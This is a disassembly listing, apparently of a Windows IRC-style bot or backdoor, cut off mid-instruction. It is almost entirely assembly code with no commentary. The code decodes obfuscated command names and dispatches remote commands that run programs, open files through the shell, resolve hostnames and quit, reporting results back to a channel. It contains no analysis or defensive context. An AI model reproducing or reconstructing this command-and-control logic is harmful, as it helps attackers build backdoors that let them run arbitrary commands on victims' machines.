[esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_402207 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403EE0 proc near ; CODE XREF: sub_40206Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403EE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AD2 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403EE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FC0 proc near ; CODE XREF: sub_401D34j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403FC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017E4 lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_403FC0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017E4 push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017E4 lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017E4 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017E4 push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017E4 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017E4 lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017E4 push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017E4 lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017E4 lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017E4 push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017E4 lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017E4 push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017E4 push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h, 0FFFFCDB2h dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h dd 90FFFFCDh, 3DC3EDE8h, 0B8C88B02h, 10624DD3h, 0EAC1E1F7h dd 244C8D06h, 556890Ch, 5C247C89h, 0FFCD51E8h, 244C8BFFh dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h) dd 54h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_404640 proc near ; CODE XREF: sub_401A32j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404640 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_40146F mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_404682 push ebx jmp short loc_404686 ; --------------------------------------------------------------------------- loc_404682: ; CODE XREF: sub_404640+3Dj lea eax, [esi+15h] push eax loc_404686: ; CODE XREF: sub_404640+40j mov ecx, edi call sub_401FBE mov al, [esi+94h] test al, al jz short loc_4046A2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FBE loc_4046A2: ; CODE XREF: sub_404640+55j mov al, [esi+95h] test al, al jz short loc_40471F lea ecx, [esp+98h+var_6C] call sub_401424 push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013E3 add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E2E push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FBE lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40471F: ; CODE XREF: sub_404640+6Aj push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E2E lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FBE lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_40146F push 0 mov ecx, esi mov ebp, eax call sub_40146F mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_4049EA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019B5 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40480F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jz short loc_40480F mov bl, 1 jmp short loc_404811 ; --------------------------------------------------------------------------- loc_40480F: ; CODE XREF: sub_404640+1A6j ; sub_404640+1C9j xor bl, bl loc_404811: ; CODE XREF: sub_404640+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_4049CE push offset asc_443600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_4049EA push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_4049EA push 20h mov ecx, esi call sub_401D20 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E2E mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D20 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E2E push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40200E lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FBE push offset asc_443600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016AE lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E2E push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FBE lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049A7 test ebp, ebp jle short loc_4049B8 loc_404998: ; CODE XREF: sub_404640+363j mov ecx, [esp+98h+var_88] push esi call sub_401F69 dec ebp jnz short loc_404998 jmp short loc_4049B8 ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_404640+352j test ebp, ebp jle short loc_4049B8 loc_4049AB: ; CODE XREF: sub_404640+376j mov ecx, [esp+98h+var_88] push esi call sub_401442 dec ebp jnz short loc_4049AB loc_4049B8: ; CODE XREF: sub_404640+356j ; sub_404640+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_404640+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_4049E5 call sub_401F69 jmp short loc_4049EA ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: sub_404640+39Cj call sub_401442 loc_4049EA: ; CODE XREF: sub_404640+162j ; sub_404640+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B10 proc near ; CODE XREF: sub_401F69j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_448CA2 call sub_4014D3 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404B56 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jnz short loc_404B56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B56: ; CODE XREF: sub_404B10+1Dj ; sub_404B10+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 test eax, eax jnz short loc_404B96 mov al, [edi+469h] test al, al jz short loc_404B96 push 0 lea ecx, [esi+2Ah] call sub_40146F cmp byte ptr [eax], 23h jz short loc_404B96 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B96: ; CODE XREF: sub_404B10+64j ; sub_404B10+6Ej ... push esi mov ecx, edi call sub_401442 pop edi pop esi retn 4 sub_404B10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BE0 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017E4 push eax mov ecx, offset dword_447158 call sub_401AF0 test eax, eax jz short loc_404C0A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C0A: ; CODE XREF: sub_404BE0+1Cj xor al, al pop esi retn 4 sub_404BE0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C20 proc near ; CODE XREF: sub_40185Cj push esi push edi mov edi, dword_50F8A4 mov esi, ecx call edi mov edx, dword_4D60D9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C4F mov ecx, offset byte_4D60B5 call sub_401D0C call edi mov dword_4D60D9, eax loc_404C4F: ; CODE XREF: sub_404C20+1Cj pop edi mov al, 1 pop esi retn sub_404C20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_4017C6j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404C70 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404CE4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [edi+2E3h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404CE4: ; CODE XREF: sub_404C70+40j lea ecx, [edi+0D6Bh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404E75 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_443600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C5D push eax lea ecx, [esp+180h+var_14C] call sub_4017E4 push eax nop call near ptr 2800000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FBE mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014D3 push eax push 0 nop call near ptr 27F0000h test eax, eax jnz short loc_404E49 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404E49: ; CODE XREF: sub_404C70+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404E75: ; CODE XREF: sub_404C70+89j lea ecx, [edi+0B71h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F24 push 1 push offset asc_443600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E6E85 mov [esp+178h+var_4], 3 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F10 mov al, byte_4478D6 test al, al jz short loc_404EE0 push offset dword_447874 mov ecx, offset dword_448DB0 call sub_401447 loc_404EE0: ; CODE XREF: sub_404C70+25Fj mov al, byte_44791F test al, al jz short loc_404EF8 push offset byte_44794F mov ecx, offset dword_448DB0 call sub_401942 loc_404EF8: ; CODE XREF: sub_404C70+277j mov ecx, offset dword_448DB0 call sub_401E5B mov byte_4D60CC, 0 mov byte_4E6E84, 0 loc_404F10: ; CODE XREF: sub_404C70+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_40566E ; --------------------------------------------------------------------------- loc_404F24: ; CODE XREF: sub_404C70+21Aj lea ecx, [edi+0C57h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404F6C lea ecx, [esi+69h] call sub_4014D3 push eax mov ecx, offset word_4E6E9A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_405675 ; --------------------------------------------------------------------------- loc_404F6C: ; CODE XREF: sub_404C70+2C9j lea ecx, [edi+0DC7h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405029 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019B5 add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1A8h+var_164] push 9 push ecx mov [esp+1B0h+var_4], 4 call sub_4019B5 add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405029: ; CODE XREF: sub_404C70+311j lea ecx, [edi+0D0Fh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405147 lea ecx, [esp+178h+var_14C] call sub_401424 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017E4 push eax lea ecx, [esp+17Ch+var_14C] call sub_401A87 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_401424 push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017E4 push eax push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_4020F4 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40200E lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_405147: ; CODE XREF: sub_404C70+3CEj lea ecx, [edi+0D99h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_40516A mov byte_4D60CC, al mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_40516A: ; CODE XREF: sub_404C70+4ECj lea ecx, [edi+0D3Dh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405431 lea ecx, [esp+178h+var_11C] call sub_401424 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_4051F4 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_40566E ; --------------------------------------------------------------------------- loc_4051F4: ; CODE XREF: sub_404C70+56Ej push offset asc_443600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017E4 push eax call near ptr 71AB2BF4h nop lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_4052C7 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax call near ptr 71ABE479h nop mov edi, eax test edi, edi jz loc_4053A8 push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017E4 push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40540E ; --------------------------------------------------------------------------- loc_4052C7: ; CODE XREF: sub_404C70+5CAj push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017E4 push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053A8 mov ecx, [edi+0Ch] push offset asc_443600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016AE mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh call near ptr 71AB3F41h nop push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_4053A8: ; CODE XREF: sub_404C70+5E3j ; sub_404C70+694j push offset asc_443600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017E4 push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_11C] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40540E: ; CODE XREF: sub_404C70+652j mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, 